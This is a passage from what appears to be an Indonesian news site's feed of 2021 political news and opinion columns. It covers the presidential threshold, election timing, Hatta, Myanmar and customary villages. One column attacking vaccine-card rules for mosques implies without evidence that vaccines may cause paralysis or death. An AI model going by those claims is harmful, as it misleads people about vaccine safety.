tidak sebanding, mustahil berharap saling kontrol dan saling imbang (check and balances), baik antara parlemen dengan lembaga tinggi negara lainnya maupun di internal parlemen sendiri. Masalahnya, setiap kali isu penguatan DPD bergulir, maka di saat yang sama muncul anggapan adanya pengurangan kewenangan DPR. Padahal tidak demikian. Kuatnya DPD akan menguatkan parlemen secara keseluruhan karena saling kontrol dan saling imbang tentu berpengaruh pada kualitas produk legislasi yang dihasilkan. Terkecuali bila sudut pandangnya kepentingan kelompok, nah, itu beda lagi. *) Penulis adalah Anggota DPD RI

Luhut Menggila Ibadah Pakai Kartu Vaksin

By M Rizal Fadillah KATA Luhut rumah ibadah kini sudah dibuka atau dilonggarkan dengan syarat isinya 25 % dan harus menunjukkan kartu vaksin. Sudah isinya cuma 25 % harus pakai kartu vaksin lagi. Bagi orang kuat beragama, rumah ibadah adalah segala-galanya. Bagi orang yang jauh dari agama kegiatan untuk beribadah di dalam ruang ibadah hanya persoalan kecil yang bisa dilonggarkan atau ditinggalkan. Baginya ibadah itu sama dengan belanja di mall, mengunjungi tempat wisata, atau makan di restoran. Kartu vaksin dijadikan kunci pembuka pintu ruangan. Agama- agama menempatkan rumah ibadah beragam pada tingkat intensitas "kunjungan" kolektifnya. Agama Islam nampaknya yang paling tinggi. Sekurang-kurangnya lima kali sehari. Shalat berjama'ah di Masjid menjadi ibadah berderajat tinggi di sisi Allah SWT. Kebijakan Luhut akan terasa dampaknya bagi muslim yang menjadi mayoritas bangsa ini. Masjid berada di kota dan desa-desa, di kompleks perumahan yang tertata hingga daerah padat penduduk yang mungkin agak kumuh. Masjid adalah rumah warga mendekat kepada Tuhannya untuk shalat, berdo'a dan memohon perlindungan. Termasuk meminta agar pandemi Covid 19 agar segera berakhir. Masjid terus kena bantai oleh kebijakan Pemerintah dengan alasan Covid 19. Dari shalat bermasker, merenggangkan shaff, hingga larangan shalat di Masjid. Masjid yang ditutup. Kini dibolehkan dengan syarat jama'ah harus berkartu vaksin. Dengan ini vaksin telah menjadi alat pemaksaan sekaligus penjajahan ritual. Vaksin itu hak, bukan kewajiban. Kebaikan bersama bukan kemutlakan. Konstitusi atau Undang-Undang tidak ada eksplisit mewajibkan. Peraturan hanya sampai memberi sanksi administratif pada warga tidak bervaksin. Itupun masih dikritisi. Pelaksanaan haruslah berdasar pada Peraturan yang jelas dan tidak pada tafsir seenaknya sesuai kehendak Pemerintah. Pemerintah Jokowi terus mengarah pada etatisme dengan mengambil kebijakan yang mengabaikan persetujuan rakyat. Rakyat yang sedang menderita kesulitan dan kepedihan dalam menghadapi pandemi bukannya dimudahkan dan digembirakan tetapi justru terus dibombardir dengan pemaksaan demi pemaksaan. Lihatlah pengangguran yang terus bertambah, pedagang kecil yang diobrak abrik, angkutan umum yang sulit penumpang, usaha yang bangkrut, dan kini ibadah yang dipersulit. Syarat harus dengan kartu vaksin dan besok bisa-bisa harus didahului test PCR atau SWAB yang tentunya berbayar. Pemerintah jangan licik memaksakan vaksin pada warga tetapi lepas tangan dari ekses penyuntikan vaksin seperti kemungkinan menyebabkan kelumpuhan hingga kematian. Belum lagi isu vaksin yang kebal atas varian baru virus Corona. Perlu klarifikasi. Penanganan pandemi covid 19 ini harus segera dikaji, dievaluasi, diaudit, serta dibangun konsensus bersama dengan seluruh rakyat, termasuk kepedulian dan bukti kerja para wakil rakyat. Tanpa ada kebersamaan maka yang terjadi adalah pemaksaan-pemaksaan. Bahkan bernuansa penjajahan. Kebijakan Luhut Panjaitan soal rumah ibadah bervaksin harus melibatkan pandangan MUI dan ormas keagamaan. Jika hanya dengan kemauan sepihak maka Luhut telah menjadi aktor jahat dari proses penjajahan ritual. *) Pemerhati Politik dan Kebangsaan

Tujuh Orang Hilang dalam Peristiwa Jatuhnya Helikopter di Far East Rusia

Moskow, FNN - Sebuah helikopter Mi-8 dengan 16 orang di dalamnya jatuh di Kamchatka, di wilayah Far East Rusia, Kamis pagi (12/8). Kantor berita Rusia, RIA melaporkan, sembilan orang dari pesawat jatuh itu ditemukan dalam keadaan hidup sementara tujuh orang lainnya hilang. Helikopter yang dioperasikan oleh perusahaan Vityaz-Aero dengan 13 penumpang dan tiga awak mendarat di dekat sebuah danau di selatan semenanjung Kamchatka. Kantor berita RIA yang mengutip sumber di layanan darurat setempat melaporkan, helikopter itu membawa turis dari Moskow dan St Petersburg. RIA juga menyebutkan, helikopter itu jatuh ke danau. Sembilan orang ditemukan hidup di tempat kejadian, menurut kantor berita Interfax yang mengutip sumber dari kementerian kesehatan Kamchatka. Kantor berita TASS mengatakan, tujuh penumpang dan dua anggota awak selamat dari kecelakaan itu. TASS mengutip seorang perwakilan layanan darurat. Semenanjung Kamchatka populer di kalangan wisatawan karena alamnya. Semenanjung itu terletak lebih dari 6.000 kilometer sebelah timur Moskow dan sekitar 2.000 kilometer sebelah barat Alaska. Standar keselamatan penerbangan Rusia telah meningkat dalam beberapa tahun terakhir. Akan tetapi kecelakaan sering terjadi, terutama yang melibatkan pesawat dan helikopter yang sudah tua. Pada Juli, 28 orang di dalam pesawat turboprop bermesin ganda Antonov An-26 tewas dalam kecelakaan di Kamchatka. (MD)

Menggugat Hegemoni Ambang Batas Calon Presiden

Presidential threshold nyata mengebiri peluang putra-putri terbaik bangsa menjadi calon pemimpin negeri. Sebaliknya, calon perseorangan mengusung semangat meluaskan alternatif pilihan rakyat dalam menemukan pemimpinnya. Oleh: Tamsil Linrung PRESIDENTIAL threshold (PT) tidak hanya menggerogoti demokrasi, tetapi juga mengamputasi amanat konstitusi. Meski seringkali menjadi polemik, namun segala upaya korektif terhadap ambang batas pencalonan presiden tidak pernah mempan. Segenap gugatan ditolak, semua langkah hukum dimentahkan, dan seluruh analisa pakar menguap terbawa angin. Kita tidak mengerti, kekuatan apa di balik aturan ambang batas pencalonan presiden itu. Di belakangnya, konon, oligarki berkelindan dengan sejumlah klan politik, bahu-membahu mempertahankan presidential threshold. Tujuannya, sebagai siasat meloloskan pasangan capres-cawapres partai politik tertentu, sekaligus mengebiri pasangan kandidat dari parpol lain. Indonesia bukan milik kelompok tertentu. Indonesia milik kita, dibangun di atas pondasi demokrasi dan hukum. Prinsip demokrasi atau kedaulatan rakyat menggaransi agar proses pengambilan keputusan akomodatif terhadap peran serta masyarakat. Sedangkan hukum menjadi aturan main. Hukum harus dimaknai sebagai kesatuan hirarkis norma hukum yang berpuncak pada konstitusi. Pasal 6A ayat (2) UUD 1945 menyatakan, "Pasangan calon presiden dan wakil presiden diusulkan oleh partai politik atau gabungan partai politik." Bunyi dan maknanya terang, sehingga minim potensi dipersepsikan keliru. Tegasnya, konstitusi membebaskan parpol memilih satu dari dua alternatif, hendak mengusung calon sendiri atau memilih bergabung bersama parpol lainnya. Tetapi aturan presidential threshold dalam Pasal 222 UU 7 Tahun 2017 tentang Pemilu menginterpretasi berbeda. Untuk dapat mengusung calonnya sendiri, Parpol wajib memenuhi kuota minimal 20% dari jumlah kursi di DPR atau 25% suara sah nasional. Kalkulasi suara tersebut berbasis pada pemilu anggota DPR sebelumnya. Terlihat jelas, ada pertentangan antara dua pasal di atas. Karena konstitusi adalah sumber hukum tertinggi, maka aturan yang bertentangan di bawah harus dipandang inkonstitusional. Inkonstitusionalitas presidential threshold sekurangnya ada tiga. Pertama, presidential threshold mengekang kebebasan parpol mengajukan pasangan calon secara mandiri atau bersama, yang oleh UUD 1945, parpol justru diberi keleluasaan. Kedua, angka 20% jumlah kursi DPR dan 25% suara sah nasional terasa ajaib karena muncul secara tiba-tiba. Angka ajaib itu tidak punya cantolan kepada UUD 1945. Ketiga, jumlah minimal kursi DPR atau suara sah nasional disebut didasarkan pada pemilu sebelumnya. Ambil contoh Pilpres 2019. Dasar hitung-hitungan kuota partai untuk mengusung pasangan calon presiden berangkat dari hasil Pemilu 2014. Padahal, hasil Pemilu itu telah digunakan untuk pencalonan presiden 2014. Jadi, satu tiket dipakai untuk dua event berbeda. Lagi pula, bila kalkulasi suara didasarkan pada Pemilu periode sebelumnya, lalu bagaimana jika ada partai baru dalam rentang 5 tahun belakangan? Bagaimana dengan hak konstitusional mereka mengajukan calon? Jawabannya, hak konstitusional ini harus bertekuk lutut dalam kendali presidential threshold. Perlawanan DPD DPD (Dewan Perwakilan Daerah) selaku lembaga perwakilan rakyat tentu memiliki beban moral untuk ikut andil meluruskan kekeliruan presidential threshold. Ini sebuah kekeliruan berjamaah yang kemungkinan besar disadari oleh semua jamaahnya. Namun, langkah dan kepentingan politik jangka pendeklah yang mengharuskan sebagian pihak memunggungi fakta, lalu menundukkan hati pada kebatilan. Saya tak bermaksud mengatakan putusan Mahkamah Konstitusi yang berkali-kali menolak uji materi pasal 222 UU Pemilu adalah batil. Bila dicermati, putusan penolakan MK diwarnai pertimbangan open legal policy, yang berarti kebijakan mengenai pasal dimaksud merupakan kewenangan pembentuk UU alias DPR. Selain itu, putusan MK juga disertai dissenting opinion. Pada uji materi pasal 222 UU Pemilu yang diajukan Rhoma Irama, Hakim Suhartoyo dan Saldi Isra berpendapat berbeda. Keduanya menilai ambang batas presiden 20% tidak adil. Sedangkan dalam putusan uji materi yang diajukan Rizal Ramli, ada empat hakim setuju gugatan pemohon, yakni Suhartoyo, Saldi Isra, Manahan MP Sitompul, dan Enny Nurbaningsih. Sebagai hukum yang mengikat, yang menjadi acuan tentu saja amar putusan MK, bukan pendapat perseorangan hakim. Namun, situasi di atas kiranya memberi gambaran tersendiri tentang presidential threshold. Artinya, sangat beralasan DPD memutuskan melawan hegemoni presidential threshold dengan menawarkan gagasan ambang batas 0 (nol) persen, sebagaimana amanat konstitusi. Senapas dengan langkah tersebut, DPD sekaligus mencoba merumuskan rekonstruksi model penguatan sistem presidensiil melalui upaya alternatif pengajuan calon presiden dan wakil presiden non-partai atau perseorangan. Ide itu setidaknya berangkat dari dua pertimbangan. Pertama, sebagai upaya DPD membuka keran seluas-luasnya bagi partisipasi politik anak negeri untuk berkompetisi bagi kemajuan bangsa. UU Nomor 7 Tahun 2017 Tentang Pemilu mendefenisikan pemilu sebagai sarana pelaksanaan kedaulatan rakyat yang dilaksanakan secara langsung, umum, bebas, rahasia, jujur dan adil. Melalui pemilu, rakyat sebagai pemilik kedaulatan tertinggi menyerahkan kedaulatannya kepada lembaga negara. DPD menjadi salah satu pemegang amanat itu, sehingga menjadi kewajiban DPD menghadirkan sistem pelaksanaan pemilu yang secara konsisten memijak UUD 1945. Presidential threshold nyata mengebiri peluang putra-putri terbaik bangsa menjadi calon pemimpin negeri. Sebaliknya, calon perseorangan mengusung semangat meluaskan alternatif pilihan rakyat dalam menemukan pemimpinnya. Memang, yang harus dirumuskan kemudian adalah syarat calon presiden independen. Bobot, kualifikasi, dan prosedurnya harus sebanding dengan syarat calon presiden yang diusung parpol. Misalnya saja, bila calon presiden partai atau gabungan partai otomatis telah mendapat rekomendasi dan jaminan parpol, maka untuk sebanding dengan syarat ini, calon presiden independen harus melalui fit and proper test. Kedua, kalau usulan calon non partai dapat kita setujui, maka DPD diharapkan dapat mengajukan calon presidennya sendiri. Dulu, sebelum amandemen UUD 1945, presiden dan wakil presiden dipilih oleh Majelis Permusyawaratan Rakyat. MPR saat itu terdiri atas DPR dan Utusan Daerah serta Utusan Golongan. Artinya, baik DPR selaku Anggota MPR maupun Anggota MPR dari unsur Utusan Daerah sama-sama memiliki hak mengajukan calon. DPD RI lahir melalui amandemen ketiga, menggantikan Utusan Daerah. Meski Utusan Daerah tidak persis sama dengan DPD, namun hak untuk menentukan tata kelembagaan di Indonesia seharusnya tidak diamputasi. Termasuk hak mengajukan Capres-Cawapres. Lagi pula, DPD memiliki legitimasi kuat karena dipilih oleh rakyat satu provinsi. Dengan begitu, hak DPD mengajukan calon sendiri adalah rasional. Kini, semua berpulang pada satu hal, yakni terbukanya kotak pandora bernama amandemen UUD 1945. Di sanalah semua perjuangan ini bermula. * Penulis adalah Anggota DPD RI.

Siti Zuhro Usulkan Jeda 2,5 Tahun Antar Pemilu Nasional dan Daerah

Jakarta, FNN - Penyelenggaraan pemilihan umum (Pemilu) sebaiknya diberikan jeda 2,5 tahun antara pemilu nasional dan pemilihan kepala daerah. Jeda tersebut dapat digunakan mengamati dan meninjau kembali penyelenggaraan pemilu sebelumnya. Hasil peninjauan kembali bisa meningkatkan penyelenggaraan pemilu di masa depan. Hal tersebut disampaikan peneliti senior Lembaga Ilmu Pengetahuan Indonesia (LIPI), Siti Zuhro dalam focus group discussion dengan topik Tata Kelola Negara Berdasarkan Paradigma Pancasila yang diselenggarakan secara daring, Rabu, 11 Agustus 2021. "Sebaiknya adakan jeda 2,5 tahun yang didahului oleh pemilu nasional atau formula lain yang dianggap tepat," kata Siti. Siti Zuhro juga menjadikan Pemilu 2019 sebagai bahan evaluasi. Penyelenggaraan Pemilu serentak pada tahun 2019 justru mengakibatkan petugas pemilihan mengalami kelelahan. Bahkan menimbulkan lebih dari 500 korban jiwa akibat beban kerja yang terlampau berat. Peristiwa tersebut memperkuat usulan Siti Zuhro agar pelaksanaan pemilu tidak lagi secara bersamaan. Selain memberikan jeda waktu untuk melakukan evaluasi, pemberian jeda juga dapat mengurangi beban kerja para petugas pemilihan umum. Selain mengusulkan pemberian jeda, dia juga menyampaikan saran bagi petugas yang berwenang agar menyempurnakan sistem Pemilu. "Perlu penyempurnaan sistem Pemilu menuju satu formula sistem campuran yang memungkinkan aspek representatif di satu sisi dan aspek akuntabilitas di sisi lain," ucap Siti sebagaimana dikutip dari Antara. Menurut Siti, format pemilu yang saat ini sedang diimplementasikan di Indonesia dapat menjadi lebih baik apabila dalam prosesnya lebih diperlihatkan dialog atau perdebatan serius antara kandidat tentang agenda yang mereka rencanakan untuk masa depan bangsa. "Perdebatan tentang arah dan strategi kebijakan seperti apa yang ditawarkan oleh para kandidat dalam memajukan daerah atau negara," tuturnya. Dengan memaksimalkan perdebatan, kata Siti, masyarakat dapat melihat kapabilitas dan akuntabilitas para kandidat pemimpin yang akan mereka pilih. Oleh karena itu, dia berharap masyarakat dapat memilih pemimpin yang tidak hanya didasari oleh popularitas dan elektabilitas. Namun, juga didasari oleh kapasitas dan kapabilitas para calon. (MD).

Soekarno-Hatta Ibarat Sayap Garuda yang Saling Menangkap

Jakarta, FNN - Cendekiawan Muslim, Yudi Latief menyebutkan, sosok proklamator Soekarno dan Mohammad Hatta diibaratkan sepasang sayap Garuda Indonesia yang saling melengkapi satu sama lain. "Termasuk di dalam ekspresi keagamaan keduanya yang kelak memainkan peran besar di dalam mencari cara rekonsiliasi dalam hubungan antara keislaman dan kebangsaan," kata Yudi Latief dalam siaran persnya di Jakarta, Rabu, 11 Agustus 2021. Mantan Kepala Badan Pembinaan Ideologi Pancasila (BPIP) tersebut mengatakan, Soekarno dan Hatta juga merupakan ikon perjuangan yang sangat penting bagi Indonesia. Menurut Yudi dalam Talk Show "Pekan Bung Hatta" yang digelar oleh BKNP PDI Perjuangan, yang ditayangkan di Channel Youtube BKNP PDIP, Bung Hatta merupakan seorang yang punya keyakinan keagamaan yang teguh. Tidak menyerang dan mengancam keluar, tetapi membawa berkah pada kehidupan. Sebuah ekspresi keagaaman yang Hatta gambarkan sebagai 'Islam garam' dan bukan 'Islam gincu'. "Kalau gincu, orang tahu dari kejauhan warna gincunya, tetapi tidak bisa merasakan. Akan tetapi, kalau garam, orang tidak bisa melihat seperti apa keagamaan kita, tetapi rasa dan manfaatnya bisa dirasakan oleh semua orang," kata Yudi dalam acara yang bertema "Hatta: Islam dan Kebangsaan". Hatta adalah cucu dari Syeh Batu Ampar yang merupakan pengamal Tarekat Naqsabandiyah. Tradisi keagamaannya dibangun dalam tradisi sufistik yang lebih menekankan dimensi-dimensi interior ketimbang eksterior. Lebih menekankan pula laku ketimbang hanya dari aspek formalisme ritualisme. "Bahkan, sejak awal saja namanya sudah menyiratkan nilai sufistik, yaitu Muhammad Hatta, diambil dari Muhammad Atha. Sama seperti pengarang dari kitab sufi terkenal al-Hikam bernama Muhammad Athaillah as-Sakandari," kata Yudi. Tradisi keagamaan Hatta dibantu oleh ekspresi tasawuf yang lebih menekankan pada aspek kerohanian ketimbang aspek-aspek formalistik. "Inilah yang telah menjadikan pribadi Hatta tumbuh menjadi seorang yang berkeyakinan keagamaan kuat. Akan tetapi, pada saat yang sama Hatta juga seperti garam," kata Yudi sebagaimana dikutip dari Antara. Hatta kemudian tetap bisa memiliki pergaulan yang luas tanpa pandang bulu. Dalam menempuh pendidikan di Eropa, Hatta tetap taat menjalankan ritual seperti salat wajib lima waktu. Namun, pada saat yang sama, Hatta mengembangkan pergaulan lintas, kultural, etnis, dan agama. "Hatta mampu bergaul dengan orang-orang dari Jawa, seperti Gunawan Mangunkusumo, Arnold Mononutu, A.A. Maramis, dan bahkan bersahabatkan dengan Jawaharlal Nehru, seorang penganut agama Hindu," kata doktor sosiologi politik dan komunikasi dari Australian National University itu. Bung Hatta juga memiliki kedekatan dengan para ulama pada eranya. Dia membangun jaringan yang luas dengan tokoh-tokoh pembaharuan di Sumatera Barat, seperti Jamil Jambek dan Abdullah Ahmad. Saat di Jawa, Hatta juga banyak menjalin relasi dengan tokoh-tokoh, seperti Agus Salim dan H.O.S. Tjokroaminoto. "Latar belakang keagamaan yang kuat itulah yang menjadikan Hatta semacam jembatan penghubung antar berbagai identitas dalam mendamaikan konflik yang terjadi kala itu," ucap penulis buku "Negara Paripurna: Historitas, Rasionalitas, Aktualitas Pancasila" itu. Cendikiawan asal Sukabumi iitu juga mengisahkan sebuah fragmen menarik yang terjadi saat Hatta masih menjadi mahasiswa di Belanda. Pernah suatu ketika Hatta bersama teman-teman mahasiswanya sedang menunggu konser musik klasik di sebuah opera house di Jerman, mereka lalu pergi ke sebuah restoran. Saat teman-temannya memilih untuk memesan minuman beralkohol, Hatta tetap berpegang teguh pada keyakinannya untuk hanya memesan air es meskipun harga es di Eropa cukup mahal. "Hal ini menandakan betapa Hatta sangat memegang prinsip keyakinannya, namun tetap rileks menghadapi perbedaan," ucap Yudi. Berbicara soal relasi agama dan negara, Bung Hatta sudah jauh-jauh hari membayangkan apa yang sekarang disebut sebagai teori Twin Tolerations’ atau toleransi kembar. Menurut dia, agama dan negara tidak perlu dipisahkan, tetapi masing-masing harus tahu diri di mana posisinya yang tepat. Yudi berpendapat, agama tidak boleh memaksakan secara langsung hukum-hukumnya pada negara tanpa melewati proses-proses permusyawaratan yang diterima oleh semua kalangan. Pada saat yang sama, negara juga harus toleran terhadap agama dan tidak boleh mencampuri urusan rumah tangga agama. "Inilah kemudian poin penting Hatta dalam membangun sebuah jembatan dialog antara pendukung paham nasionalisme religius dan nasionalisme sekuler kala itu. Khususnya saat momen penghapusan tujuh kata di Piagam Jakarta," katanya. Saat momen penghapusan tujuh kata dalam Piagam Jakarta mengenai syariat Islam, Hatta sangat berperan dalam mempersuasi dan meyakinkan tokoh-tokoh Islam kala itu. Ia meyakinkan, penghapusan tujuh kata itu tidak akan mengubah secara fundamental nilai-nilai ketuhanan. "Track record, latar belakang, dan perilaku Hatta yang agamis inilah yang memberikannya legitimasi moral dan kredibilitas di antara tokoh-tokoh agama kala itu," kata Yudi. Gagasan ekonomi koperasi yang dicetuskan Hatta, kata Yudi Latief, juga memiliki kedekatan dengan ekonomi syariah yang dikenal saat ini, yaitu sama-sama menekankan semangat gotong royong. (MD).

Indonesia Perlu Kepemimpinan Berbasis Pancasila

Jakarta, FNN - Guru Besar Universitas Islam Negeri (UIN) Syarif Hidayatullah Jakarta, Azyumardi Azra mengatakan, Indonesia memerlukan kepemimpinan berbasis Pancasila untuk membangun tata kelola pemerintahan yang baik. "Perlu kepemimpinan berbasis Pancasila terutama dalam kepemimpinan publik, baik di lembaga eksekutif, legislatif maupun yudikatif," kata Azyumardi dalam diskusi virtual yang digelar oleh Aliansi Kebangsaan dengan topik "Tata Kelola Negara Berdasarkan Paradigma Pancasila", Rabu, 11 Agustus 2021. Cendekiawan Muslim tersebut menyatakan, kepemimpinan tersebut bertitik tolak dari lima sila dalam Pancasila. Pemimpin tidak hanya berteori dan mengimaninya, tetapi juga mempraktikkan nilai Pancasila dalam kepemimpinan dan kebijakan yang dibuatnya. Kepemimpinan itu, lanjutnya, penting dalam ranah institusi politik. Pemerintahan khususnya pembentukan good governance atau tata kelola pemerintahan yang baik sebagai amanat reformasi. Menurutnya, tata kelola pemerintahan yang baik dibutuhkan di antaranya dalam pemberantasan korupsi hingga pemilu yang saat ini belum berjalan dengan baik. Sebagaimana dikutip dari Antara, Azyumardi mengatakan, korupsi masih merajalela dan Komisi Pemberantasan Korupsi (KPK) tidak dapat bekerja karena telah dilemahkan. Selain itu, lanjutnya, kegaduhan publik mengenai KPK masih berlangsung hingga sekarang. Sementara terkait pemilu, kecenderungan praktik transaksional harus dibenahi guna mewujudkan tata kelola pemerintahan yang baik. Kepemimpinan berbasis Pancasila tidak hanya pada aspek formal. Tetapi, juga penting diimplementasikan dalam kepemimpinan informal seperti dalam kepemimpinan organisasi kemasyarakatan (ormas), lembaga pendidikan, dan sebagainya. Selain itu, dia menilai Indonesia perlu mengembangkan sistem politik dengan memadukan antara prinsip-prinsip demokrasi universal dan kontekstualisasi yang relevan dengan nilai-nilai bangsa agar demokrasi tidak terkesan sebagai sesuatu yang asing. "Sehingga demokrasi tidak lagi dianggap sebagai sesuatu yang asing dan bersumber dari Barat," ujarnya pula. (MD).

Waduh, Jokowi Kehilangan Uang Rp 11.000 Triliun Lebih

“...INGIN mengingatkan. Uang kita banyak sekali di luar. Ada sudah data di kantongan saya,” kata Joko Widodo sambil memasukkan tangan kanannya ke jas dan menggerakkannya ke arah kantong baju yang dipakainya. Jokowi melanjutkan, “Data di Kementerian Keuangan ada. Di situ dihitung ada Rp 11.000 triliun yang disimpan di luar (negeri),” yang disambut tepuk tangan para pengusaha dan undangan yang hadir. “Di kantong saya beda lagi, lebih banyak,” katanya sambil memasukkan lagi tangan kanan ke jasnya dan mengarahkan ke kantong kemejanya. Karena memang sumbernya berbeda. Sumbernya sumber internasional semua, tapi berbeda. “Ndak apa-apa.Yang paling penting bagaimana uang-uang itu bisa dibawa kembali ke negara kita, karena saat ini kita membutuhkan partisipasi bapak, ibu dan saudara-saudara semuanya untuk negara, untuk bangsa.” Kalimat Jokowi tersebut diambil dari cuplikan video ketika ia menyampaikan sambutan sosialisasi program pengampunan pajak atau tax amnesty, di Hotel Clarion, Makasar, Sulawesi Selatan, Jumat (25/11/2016) malam. Ucapannya itu jelas terdengar dalam video tersebut, meskipun Sekretariat Kabinet (Setkab) telah menghilangkan atau menghapus dari akun twitter-nya. Berita tentang uang Rp 11.000 triliun itu sempat dijelaskan Kementerian Komunikasi dan Informatika sebagai berita hoax dan disinformasi. Hoax dan disinformasi karena seolah uang tersebut merupakan milik pemerintah. Betul hoax dan disinformasi mengenai penyebutkan “uang milik atau simpanan pemerintah. Akan tetapi, uang Rp 11.000 triliun itu benar diucapkan oleh Jokowi. Bahkan, angkanya lebih besar karena Rp 11.000 triliun itu data Kementerian Keuangan. “Di kantong saya beda lagi, lebih besar,” katanya tanpa menyebutkan angka yang pasti di kantongnya. Nah, lebih besar lagi bisa ditafsirkan lebih dari Rp 11.000 triliun. Bisa beda Rp 100 juta, Rp 100 miliar dan seterusnya. Akan tetapi, apa ia bedanya cuma ratusan juga dan ratusan miliar? Barangkali lebih besar dari Rp 11.000 triliun itu adalah Rp 15.000 triliun, Rp 20.000 triliun, dan sederet angka lainnya (mungkin dalam ilusi dan mimpi). Bahkan, tidak kalah sigap, pihak Kementerian Keuangan harus segera meluruskan kalimat Jokowi itu. Menurut Staf Khusus Bidang Komunikasi Strategis Kementerian Keuangan, Yustinus Prastowo Rp 11.000 triliun itu merupakan data aset yang dimiliki Warga Negara Indonesia (WNI) di luar negeri. Nah, sebagai rakyat tentu lebih percaya pada ucapan Jokowi itu, ketimbang bantahan dari Kemenkeu dan Kominfo. Apalagi, saat mengucapkan Rp 11.000 triliun lebih itu, ia sebagai presiden, bukan sebagai menteri apalagi pimpinan parpol. Bedanya, presiden petugas partai. Mengapa harus lebih mempercayai omongan Jokowi ketimbang pihak Kemonfo dan Kemenkeu? Sebab, yang diucapkan Jokowi itu berasal dari sumber asing atau sumber internasional. Nah, dalam kaitan sumber internasional, berarti Jokowi juga kurang percaya atau malah tidak percaya dengan angka yang disampaikan pihak Kementerian Keuangan. Akan tetapi, yang jelas setelah hampir lima tahun diucapkannya, angka Rp 11.000 triliun itu tidak jelas keberadaannya. Tidak jelas, apakah dana tersebut bagian dari pelarian modal atau bahkan bagian dari tindak kejahanan pencucian uang (money laundering) yang sudah lama diberitakan. Namun, yang pasti Rp 11.000 triliun lebih itu hilang bagaikan ditelan bumi. Muncul kembali dan menjadi pembicaraan ramai saat keluarga Akidi Tio menyumbang Rp 2 triliun guna membantu penanganan pandemi Coronavirus Disease 2019 (Covid-19). Nyatanya, sumbangan itu bodong, bohong, ngibul dan sederet kata lainnya yang dialamatkan kepada keluarga Akidi Tio. Jika sumbangan Rp 2 triliun dari keluarga Akidi Tio hilang begitu saja, maka uang Rp 11.000 lebih di kantong Jokowi juga ikut melayang. Entahlah. Apakah antara dana Akidi Tio dan yang di kantong Jokowi itu ada persamaan dan perbedaannya. Persamaannya, sama-sama triliunan rupiah. Sedangkan perbedaannya, yang satu disampaikan anak pengusaha (katanya). Sedangkan satu lagi disampaikan secara resmi oleh penguasa. ** “

China Akan Danai Proyek Myanmar Dalam Perjanjian Dengan Junta

Naypyitaw, FNN - China akan mentransfer lebih dari 6 juta dolar AS (sekitar Rp86,6 miliar) kepada pemerintah Myanmar untuk mendanai 21 proyek pembangunan, kata kementerian luar negeri Myanmar. Pendanaan itu merupakan tanda kerja sama antara China dan Myanmar yang dilanjutkan di bawah junta militer yang menggulingkan pemerintah terpilih pada 1 Februari. Tidak seperti negara-negara Barat yang mengecam junta karena mengurangi demokrasi dan membunuh serta memenjarakan lawan-lawan politiknya, China telah mengambil sikap yang lebih lunak terhadap junta Myanmar. China mengatakan prioritasnya adalah stabilitas dan tidak mencampuri urusan negara tetangganya. Sebuah pernyataan kementerian luar negeri Myanmar menyebutkan dana itu akan ditransfer dari China untuk proyek-proyek dalam kerangka Kerja Sama Mekong-Lancang. Kemenlu Myanmar mengatakan pendanaan itu termasuk untuk proyek vaksin hewan, budaya, pertanian, sains, pariwisata dan pencegahan bencana. Sebuah kesepakatan ditandatangani pada Senin dengan duta besar China untuk Myanmar, kata pernyataan dari Kemenlu Myanmar. Laman Facebook kedutaan China juga mengonfirmasi tentang penandatanganan kesepakatan tersebut. Para penentang junta Myanmar menuduh China mendukung pengambilalihan kekuasaan oleh militer, di mana pemimpin terpilih Aung San Suu Kyi digulingkan dan ditahan. Namun, Beijing telah menolak tuduhan itu dan mengatakan pihaknya mendukung diplomasi regional mengenai krisis politik Myanmar. Negara-negara Barat terus memberikan sejumlah bantuan darurat ke Myanmar, termasuk dana senilai 50 juta dolar AS (sekitar Rp721,5 miliar) yang diumumkan oleh Washington pada Selasa. Dana itu diberikan untuk mendukung kelompok-kelompok bantuan di Myanmar yang menangani dampak dari lonjakan kasus COVID-19. Pengaruh China telah tumbuh di Myanmar dalam beberapa tahun terakhir, dengan pembukaan jaringan pipa minyak dan gas yang melintasi negara itu dan rencana untuk zona ekonomi dan pengembangan pelabuhan utama.

Mendes PDTT Sebut Belum Ada Pengakuan Resmi untuk Desa Adat

Jakarta, FNN - Menteri Desa, Pembangunan Daerah Tertinggal dan Transmigrasi (Mendes PDTT) Abdul Halim Iskandar mengatakan, hingga saat ini, belum ada desa adat yang diakui secara resmi oleh pemerintah. “Belum ada satu pun desa adat yang diakui secara resmi oleh pemerintah melalui penerbitan register desa adat oleh Kementerian Dalam Negeri,” kata Gus Menteri, sapaan akrab dari Abdul Halim Iskandar, ketika dihubungi oleh ANTARA dari Jakarta, Rabu. Padahal, lanjut Gus Menteri, perubahan status desa administrasi (non desa adat) menjadi desa adat dapat memudahkan pemerintah dalam memenuhi hak-hak masyarakat adat, termasuk dalam melakukan penataan desa adat. Selama ini, penetapan status desa adat dilakukan berdasarkan Undang-Undang Nomor 6 Tahun 2014 tentang Desa. “Pasal 98 ayat (1) UU No 6 Tahun 2014 menyatakan bahwa Desa Adat ditetapkan dengan Peraturan Daerah Kabupaten/Kota,” ucap Gus Menteri. Akan tetapi, Gus Menteri melanjutkan, dalam UU No 6 Tahun 2014 pun masih terdapat kendala yang dihadapi oleh pemerintah, khususnya Kementerian Desa PDTT, dalam memfasilitasi pergantian status dari desa administrasi menjadi desa adat agar keberadaannya diakui. Salah satu kendala yang dihadapi adalah pemenuhan ketentuan desa adat yang tercantum dalam Pasal 101 ayat (3) Undang-Undang Nomor 6 Tahun 2014, yakni kejelasan pada batas wilayah. Pasal tersebut mengharuskan perubahan status dari desa administrasi menjadi desa adat disertai dengan lampiran peta batas wilayah. “Prasyarat pembentukan desa adat adalah adanya kepastian wilayah adat sebagai ruang berlakunya hukum adat,” tutur Gus Menteri menjelaskan. Adapun kesulitan dalam menentukan batas wilayah diakibatkan oleh pemberlakuan hukum adat di wilayah desa administrasi yang tidak menyeluruh. Hal ini yang menjadi kendala dalam pembuatan peta batas wilayah desa adat. Tanpa adanya kejelasan wilayah berlakunya hukum adat, sambung Gus Menteri, maka tidak dapat ditentukan batas-batas wilayah desa adat. Oleh sebab itu, desa-desa yang berpotensi mengubah statusnya menjadi desa adat harus memiliki kepastian batas-batas wilayah berlakunya hukum adat mereka. “Apabila kesatuan masyarakat hukum adat beserta wilayah adatnya sudah jelas, maka pembentukan desa adat dapat difasilitasi,” kata Gus Menteri. (sws)

PSI Instruksikan Kader Gencarkan Bantu Rakyat Saat Perpanjangan PPKM

